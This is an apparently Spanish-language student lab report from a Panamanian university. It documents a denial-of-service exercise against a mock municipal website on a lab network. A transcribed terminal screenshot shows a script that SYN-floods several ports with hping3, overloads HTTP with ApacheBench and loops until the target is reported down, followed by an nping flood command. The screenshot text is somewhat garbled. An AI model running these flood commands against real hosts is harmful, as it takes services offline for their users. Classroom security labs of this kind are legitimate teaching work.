

Universidad Tecnológica de Panamá
Facultad de Sistemas Computacionales
Asignatura: Desarrollo de Software IV
Laboratorio Práctico2

Profesor: Napoleón Ibarra

Valor: 100 puntos

Estudiante: Julio Montenegro , Luis González

Cédula: 4-832-2486, 4-833-1

Fecha de Inicio:18/09/2025 ⑨Hora: 3:20 PM

Fecha de Entrega: 18/09/2025 ⑨Hora: 4:55 PM

Procedimiento:

1. De manera Individual / Grupal, realizar la asignación.
2. Entregar el trabajo en formato digital en la plataforma utilizada. Sustente su desarrollo en clase.

Criterios de Evaluación:

Criterios	Puntos (Mínimo=1, Máximo=5)	Porcentaje
Puntualidad Sustentación	1 - 5	15 %
Responsabilidad Entrega	1 - 5	15 %
Desarrollo Simulación	1 - 5	70 %

Capturas de los Ataques

kali-linux-2025-2-virtualbox-amd64 [Corriendo] - Oracle VirtualBox

Archivo Máquina Ver Entrada Dispositivos Ayuda

Session Actions Edit View Help

```
# Ataque al puerto 443 (HTTP)
sudo hping3 -S -p 443 --flood $IP
echo "✓ Atacando puerto 443"

# Ataque al puerto 8080 (HTTP alternativo)
sudo hping3 -S -p 8080 --flood $IP
echo "✓ Atacando puerto 8080"

# Ataque al puerto 22 (SSH)
sudo hping3 -S -p 22 --flood $IP
echo "✓ Atacando puerto 22"

# Ataque HTTP masivo
ab -n 100000 -c 500 http://$IP:80
echo "✓ Ataque HTTP con AB"

echo "● Todos los ataques lanzados"
echo "● Monitoreando ..."

# Verificar estado cada 5 segundos
while true; do
    if ping -c 1 -W 1 $IP > /dev/null; then
        echo "ARRIBA - $date"
    else
        echo "CAIDO - $date" - |OBJETIVO CUMPLIDO!
        break
    fi
    sleep 5
done

# Mantener ataques activos
walt
EOF

chmod +x ataque_multipuerto.sh
./ataque_multipuerto.sh
✓ ATAQUE MULTIPUERTO A 192.168.1.144
✓ Atacando puerto 80
✓ Atacando puerto 443
✓ Atacando puerto 8080
✓ Atacando puerto 22
✓ Ataque HTTP con AB
● Todos los ataques lanzados
● Monitoreando ...
This is ApacheBench, Version 2.3 (dRevision: 1923342)
Copyright 1996 Adam Twiss, Zeus Technology Ltd, http://www.zeustech.net/
Licensed to The Apache Software Foundation, http://www.apache.org/
Benchmarking 192.168.1.144 (be patient)
[sudo] password for kali: x CAIDO - Tue Sep 23 03:55:02 EDT 2025 - |OBJETIVO CUMPLIDO|
apr_pollset_poll: The timeout specified has expired (70007)
```

Usamos el comando sudo nping -tcp -connect -p 80 -rate=1000 192.168.1.143

Capturas de la pagina web

The screenshot shows the homepage of the JC de Las Lomas website. At the top, there is a navigation bar with links to Servicios, Noticias, Transparencia, Equipo, Contacto, and a green button labeled "Servicios en línea". The main content area features a large title "JC de Las Lomas – Servicios para la comunidad" and a subtitle about the entity's purpose. Below this, there are three main service sections: "Atención Horario de oficinas" (with hours from Monday to Friday 8:00–16:00 and Saturday 9:00–13:00), "Servicios Gestión comunitaria" (for permits and public area maintenance), and "Participación Eventos & Audiencias" (calendar of activities). At the bottom left, there are buttons for "Ver servicios" and "Últimas noticias", and at the bottom right, buttons for "Atención al ciudadano", "Trámites digitales", and "Eventos comunitarios".

The screenshot shows the "Nuestros servicios" (Our Services) page. The top navigation bar is identical to the homepage. The main content area features a section titled "Servicios en línea" (Online Services) with a description of digital access for forms and consultations. Below this is a "Reportes ciudadanos" (Citizen Reports) section with a description of the channel for reporting incidents. At the bottom, there is a "Noticias y eventos" (News and Events) section with three cards: "Feria comunitaria" (Community Fair), "Campaña de limpieza" (Cleaning Campaign), and "Audiencia pública" (Public Audience).

JC de Las Lomas

Servicios Noticias Transparencia Equipo Contacto **Servicios en línea**

Noticias y eventos

Feria comunitaria
Sábado 20 – Charlas, música y puestos locales. ¡Trae a la familia!
20 Oct 2025

Campaña de limpieza
Unamos esfuerzos para embellecer nuestras plazas y calles.
5 Nov 2025

Audiencia pública
Espacio para que los ciudadanos presenten propuestas y consultas.
15 Nov 2025

Transparencia

Descarga documentos institucionales: actas, presupuestos y ordenanzas. (Archivos de ejemplo para la práctica).

JC de Las Lomas

Servicios Noticias Transparencia Equipo Contacto **Servicios en línea**

Equipo

Equipo administrativo y contactos de las áreas clave.

AL
Alcalde
Nombre Alcalde

DS
Directora Social
Nombre Directora

TM
Técnico Mantenimiento
Nombre Técnico

AT
Atención al Ciudadano
Contacto

Nombre

Correo

JC de Las Lomas — Municipio

Servicios Noticias Transparencia Equipo Contacto Servicios en línea

Contacto

Oficinas y canales de atención.

📍 Calle Principal #123, Las Lomas
📞 +507 6000-0000
✉️ contacto@jcde laslomas.local

Nombre

Correo

Mensaje

Enviar